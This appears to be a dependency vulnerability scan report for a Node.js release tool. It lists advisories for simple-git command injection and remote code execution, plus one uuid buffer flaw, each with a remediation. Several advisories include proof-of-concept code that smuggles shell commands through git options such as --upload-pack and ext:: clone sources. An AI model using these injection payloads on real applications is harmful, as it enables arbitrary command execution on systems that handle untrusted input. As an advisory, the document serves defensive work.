Vulnerabilities

 7 via 7 paths

Dependencies

 125

Source

 GitHub

Find, fix and prevent vulnerabilities in your code.

Test and protect my applications
Severity
  • 2
  • 4
  • 1
Status
  • 7
  • 0
  • 0

critical severity

Command Injection

  • Vulnerable module: simple-git
  • Introduced through: simple-git@2.48.0

Detailed paths

  • Introduced through: releasify@fastify/releasify › simple-git@2.48.0
    Remediation: Upgrade to simple-git@3.32.0.

Overview

simple-git is a light weight interface for running git commands in any node.js application.

Affected versions of this package are vulnerable to Command Injection through improper option parsing in the clone method. An attacker can execute arbitrary system commands by supplying specially crafted command-line options that bypass intended security checks.

Note:

  1. This is only exploitable if the attacker can control the options passed to the underlying process.

  2. This vulnerability was introduced by an incorrect patch for CVE-2022-25860

Remediation

Upgrade simple-git to version 3.32.0 or higher.

References

Command Injection vulnerability report

critical severity

Remote Code Execution (RCE)

  • Vulnerable module: simple-git
  • Introduced through: simple-git@2.48.0

Detailed paths

  • Introduced through: releasify@fastify/releasify › simple-git@2.48.0
    Remediation: Upgrade to simple-git@3.36.0.

Overview

simple-git is a light weight interface for running git commands in any node.js application.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to an incomplete fix for CVE-2022-25912 that blocks the -c option but not the equivalent --config form. If untrusted input can reach the options argument passed to simple-git, an attacker may still achieve remote code execution by enabling protocol.ext.allow=always and using an ext:: clone source.

PoC

const simpleGit = require('simple-git')
const myGit = simpleGit()
myGit.clone('ext::sh -c touch% /tmp/pwned_by_kkc% >&2', '/tmp/example-new-repo', ['--config', 'protocol.ext.allow=always'])

Remediation

Upgrade simple-git to version 3.36.0 or higher.

References

Remote Code Execution (RCE) vulnerability report

high severity

Command Injection

  • Vulnerable module: simple-git
  • Introduced through: simple-git@2.48.0

Detailed paths

  • Introduced through: releasify@fastify/releasify › simple-git@2.48.0
    Remediation: Upgrade to simple-git@3.3.0.

Overview

simple-git is a light weight interface for running git commands in any node.js application.

Affected versions of this package are vulnerable to Command Injection via argument injection. When calling the .fetch(remote, branch, handlerFn) function, both the remote and branch parameters are passed to the git fetch subcommand. By injecting some git options it was possible to get arbitrary command execution.

PoC

// npm i simple-git
const simpleGit = require('simple-git');
const git = simpleGit();

let callback = () => {};

git.init(); // or git init

let origin1 = 'origin';
let ref1 = "--upload-pack=touch ./HELLO1;";
git.fetch(origin1, ref1,  callback); // git [ 'fetch', 'origin', '--upload-pack=touch ./HELLO1;' ]

let origin2 = "--upload-pack=touch ./HELLO2;";
let ref2 = "foo";
git.fetch(origin2, ref2,  callback); // git [ 'fetch', '--upload-pack=touch ./HELLO2;', 'foo' ]


let origin3 = 'origin';
let ref3 = "--upload-pack=touch ./HELLO3;";
git.fetch(origin3, ref3, { '--depth': '2' }, callback); // git [ 'fetch', '--depth=2', 'origin', '--upload-pack=touch ./HELLO3;' ]

// ls -la

Remediation

Upgrade simple-git to version 3.3.0 or higher.

References

Command Injection vulnerability report

high severity

Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

  • Vulnerable module: simple-git
  • Introduced through: simple-git@2.48.0

Detailed paths

  • Introduced through: releasify@fastify/releasify › simple-git@2.48.0
    Remediation: Upgrade to simple-git@3.5.0.

Overview

simple-git is a light weight interface for running git commands in any node.js application.

Affected versions of this package are vulnerable to Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') due to an incomplete fix of CVE-2022-24433 which only patches against the git fetch attack vector. A similar use of the --upload-pack feature of git is also supported for git clone, which the prior fix didn't cover.

PoC

const simpleGit = require('simple-git')
const git2 = simpleGit()
git2.clone('file:///tmp/zero123', '/tmp/example-new-repo', ['--upload-pack=touch /tmp/pwn']);

Remediation

Upgrade simple-git to version 3.5.0 or higher.

References

Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') vulnerability report

high severity

Remote Code Execution (RCE)

  • Vulnerable module: simple-git
  • Introduced through: simple-git@2.48.0

Detailed paths

  • Introduced through: releasify@fastify/releasify › simple-git@2.48.0
    Remediation: Upgrade to simple-git@3.15.0.

Overview

simple-git is a light weight interface for running git commands in any node.js application.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when enabling the ext transport protocol, which makes it exploitable via clone() method. This vulnerability exists due to an incomplete fix of CVE-2022-24066.

PoC

const simpleGit = require('simple-git')
const git2 = simpleGit()
git2.clone('ext::sh -c touch% /tmp/pwn% >&2', '/tmp/example-new-repo', ["-c", "protocol.ext.allow=always"]);

Remediation

Upgrade simple-git to version 3.15.0 or higher.

References

Remote Code Execution (RCE) vulnerability report

high severity

Remote Code Execution (RCE)

  • Vulnerable module: simple-git
  • Introduced through: simple-git@2.48.0

Detailed paths

  • Introduced through: releasify@fastify/releasify › simple-git@2.48.0
    Remediation: Upgrade to simple-git@3.16.0.

Overview

simple-git is a light weight interface for running git commands in any node.js application.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via the clone(), pull(), push() and listRemote() methods, due to improper input sanitization. This vulnerability exists due to an incomplete fix of CVE-2022-25912.

PoC

const simpleGit = require('simple-git');
let git = simpleGit();
git.clone('-u touch /tmp/pwn', 'file:///tmp/zero12');
git.pull('--upload-pack=touch /tmp/pwn0', 'master');
git.push('--receive-pack=touch /tmp/pwn1', 'master');
git.listRemote(['--upload-pack=touch /tmp/pwn2', 'main']);

Remediation

Upgrade simple-git to version 3.16.0 or higher.

References

Remote Code Execution (RCE) vulnerability report

medium severity

Improper Validation of Specified Index, Position, or Offset in Input

  • Vulnerable module: uuid
  • Introduced through: temp-write@4.0.0

Detailed paths

  • Introduced through: releasify@fastify/releasify › temp-write@4.0.0 › uuid@3.4.0
    Remediation: Upgrade to temp-write@6.0.0.

Overview

uuid is a RFC4122 (v1, v4, and v5) compliant UUID library.

Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input due to accepting external output buffers but not rejecting out-of-range writes (small buf or large offset). This inconsistency allows silent partial writes into caller-provided buffers.

PoC

cd /home/StrawHat/uuid
npm ci
npm run build

node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
  ['v4',()=>v4({},new Uint8Array(8),4)],
  ['v5',()=>v5('x',ns,new Uint8Array(8),4)],
  ['v6',()=>v6({},new Uint8Array(8),4)],
]) {
  try { fn(); console.log(name,'NO_THROW'); }
  catch(e){ console.log(name,'THREW',e.name); }
}"

Remediation

Upgrade uuid to version 11.1.1, 14.0.0 or higher.

References

Improper Validation of Specified Index, Position, or Offset in Input vulnerability report